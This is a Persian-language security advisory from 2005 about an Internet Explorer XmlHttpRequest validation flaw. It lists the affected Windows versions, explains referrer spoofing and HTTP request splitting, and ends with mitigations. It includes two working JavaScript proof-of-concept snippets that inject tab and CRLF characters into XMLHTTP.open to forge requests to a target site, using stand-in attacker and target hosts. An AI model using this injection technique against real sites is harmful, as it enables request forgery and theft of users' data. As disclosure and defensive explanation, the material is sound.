شكاف امنيتي ناشي از اعتبار سنجي نامناسب
پارامترهاي ارسالي به
XmlHttpRequest
در
Internet Explorer
تاريخ انتشار:
24 سپتامبر 2005
12:00AM
تاريخ به روزرساني:
28 سپتامبر 2005
11:10PM
CVE:
CVE-MAP-NOMATCH
كاشف:
Amit Klein
ميزان خطر:
---
سيستمهاي تحت تاثير:
Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Windows 2000 Advanced Server
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Server
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Terminal Services
Microsoft Windows 2000 Terminal Services SP1
Microsoft Windows 2000 Terminal Services SP2
Microsoft Windows 98
Microsoft Windows 98SE
Microsoft Windows ME
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home
Microsoft Windows XP Professional
چكيده:
به علت وجود نقطه ضعفي در برنامه
Internet Explorer
كه ناشي از بررسي نامناسب پارامترهاي ارسالي به
XmlHttpRequest
است، اجازه تزريق كردن تقاضاهاي
HTTP
دلخواه را به
Internet Explorer
ممكن مي سازد.
XmlHttpRequest
يك شي
Javascript
است (يكي از اجزاي هسته
AJAX).
اين شي به كد
Javascript
سمت
Client
اجازه فرستادن تقاضاهاي
Raw
HTTP
به ميزبان اصلي و همچنين دستيابي به بدنه پاسخ هاي برگشتي
(Responses)
به صورت
Raw
Form
را فراهم مي كند.
يك نفوذگر با سوء استفاده از اين نقطه ضعف
مي تواند علاوه بر فريب دادن يك وب سايت، يك مرورگر را مجبور به
تقاضا كردن يك سايت روي ماشين محلي يا روي ميزبان ديگري غير از
ماشين محلي نمايد، البته به شرطي كه از يك
forwarding proxy server
استفاده شده باشد. سپس نفوذگر با جلوگيري كردن از دريافت پاسخ
توسط مرورگر مي تواند اطلاعات حساس را سرقت كند و از اين اطلاعات
در حملات بعدي استفاده نمايد. يك حمله موفق مي تواند پيامدهاي گوناگوني داشته
باشد مانند حملات
HTTP
Request Smuggling
يا حمله
Man
in the Middle
(كه
طي آن هكر به ترافيك بين كاربر و يك سايت ديگر نفوذ مي كند)و
يا فاش سازي اطلاعات.
توضيح:
بطور كلي يك نفوذگر مي تواند با سوء استفاده از
اين نقطه ضعف از تكنيكهاي زير استفاده نمايد:
·
Referrer spoofing
·
HTTP Request Smuggling , HTTP Response
Splitting and Web cache poisoning
·
Accessing content / web-scanning
در اينجا فقط تكنيك اصلي يعني
Referrer Spoofing
بررسي مي شود.
بازيابي يك صفحه با استفاده از يك
Referrer Spoofing:
مفروضات زير را در نظر بگيريد: وب سايت نفوذگر
www.attacker.site
و وب سايت مقصد
www.target.site
است. از
Forwarding Proxy Server
استفاده مي شود و يا اينكه سايت نفوذگر و مقصد بطور مجازي روي
آدرس
IP
يكساني ميزباني مي شوند.
Client
يك صفحه كه حاوي كد
Javascript
است را از سايت
www.attacker.site
دريافت مي كند. اين كد براي پياده سازي حمله نوشته و طراحي شده
است. كد
Javascript
مذكور با
exploit
كردن شي
XmlHttpRequest
(كه از طريق ارسال پارامترهاي خاصي به آن مي باشد) موجب شروع
حمله با توجه به تكنيك بكار رفته در كد
Javascript
مي شود.
كد
Javascript
در زير (به عنوان بخشي از صفحه دريافت شده از سايت
www.attacker.site)
مي تواند توسط
Internet Explorer
براي فرستادن يك
Referrer
معتبر و خواندن محتويات صفحات وب استفاده شود (اين مثال روي
Internet Explorer 6.0 SP2
تست و اجرا شده است و فرض بر اين است كه از
forwarding proxy server
استفاده مي شود).
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nFoobar:","http://www.attacker.site/",false);
x.send();
alert(x.responseText);
توجه كنيد كه در خطوط تقاضاي
HTTP
از
Horizontal Tab (ASCII 0x09)
به جاي Space
(ASCII 0x20)
استفاده شده است كه در
HTTP/1.1 RFC (RFC 2616)
به طور صريح غير مجاز شناخته شده است، ولي هنوز خيلي از سرورها
علاوه بر مجاز شمردن چنين نحوي
>(Syntax)
در تقاضاهاي فرستاده شده
Horizontal Tab
را به
Space
تبديل مي كنند.
در زير اسامي تعدادي پروكسي سرور كه اجازه
استفاده از
Horizontal Tab
را به عنوان يك جداساز در خط مربوط به تقاضاي
HTTP
مي دهند، ليست شده است:
- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10-NT
- Sun Java System Web Proxy Server 4.0
توجه داشته باشيد كه تكنيك حمله
HTTP
Request Splitting
در اين وضعيت اتفاق خواهد افتاد يعني كد
Javascript
بالا را مي توان براي پياده سازي حمله
HTTP
Request Splitting
بكار برد. در اين حالت نفوذگر مرورگر را مجبور به ارسال دو
تقاضاي
HTTP
به جاي يك تقاضا مي كند. در واقع در اين تكنيك با هدرهاي
HTTP
سروكار داريم.
فرض بعدي اين بود كه سايتهاي
www.attacker.site
و
www.target.site
به طور مجازي روي آدرس
IP
يكساني ميزباني مي شوند. در اين حالت كد زير مي تواند مورد
استفاده قرار گيرد:
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET\t
/page.cgi?parameters\tHTTP/1.0\r\nHost:\twww.target.site\r\nR
eferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET
\t/\tHTTP/1.0\r\nFoobar:","http://www.attacker.site/",false);
x.send();
alert(x.responseText);
نتيجه اين كد ارسال دو تقاضا به سرور است كه پاسخ
تقاضاي اول توسط مرورگر به
XmlHttpRequest
برگشت داده مي شود .سپس كد مذكور مي تواند صفحه برگشت داده شده
را در پنجره
html
(مثلا
document.body.innerHTML=...)
جاسازي نمايد. نكته اينكه كد
Javascript
مخرب مي تواند ابتدا صفحه برگشت داده شده را بررسي و دستكاري
نمايد. به عنوان مثال ميتواند موارد امنيتي ازقبيل
“if((top.location!='http://www.target.site/...')"
را حذف كند.
كد
Exploit:
در بخش توضيح كدهاي نمونه آورده شده است.
راه حل:
تا كنون هيچ اصلاحيه اي در رابطه با اين شكاف
امنيتي گزارش نشده است. به عنوان پيشنهاد از صاحبان سايتها تقاضا
ميشود به موارد زير توجه كامل داشته باشند:
-
استفاده از
SSL
-
استفاده نكردن از
virtual hosting
با حوزه هاي غيرقابل اعتماد
-
اعتماد نكردن به كد سمت
client
براي جلوگيري كردن از
cloning/MITM
-
اعتماد نكردن به
Referrer
-
تنظيم كردن صريح
host/domain
در
cookie
منابع:
Technet Security
(Microsoft)
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf
نويسنده:
محسن شريفي |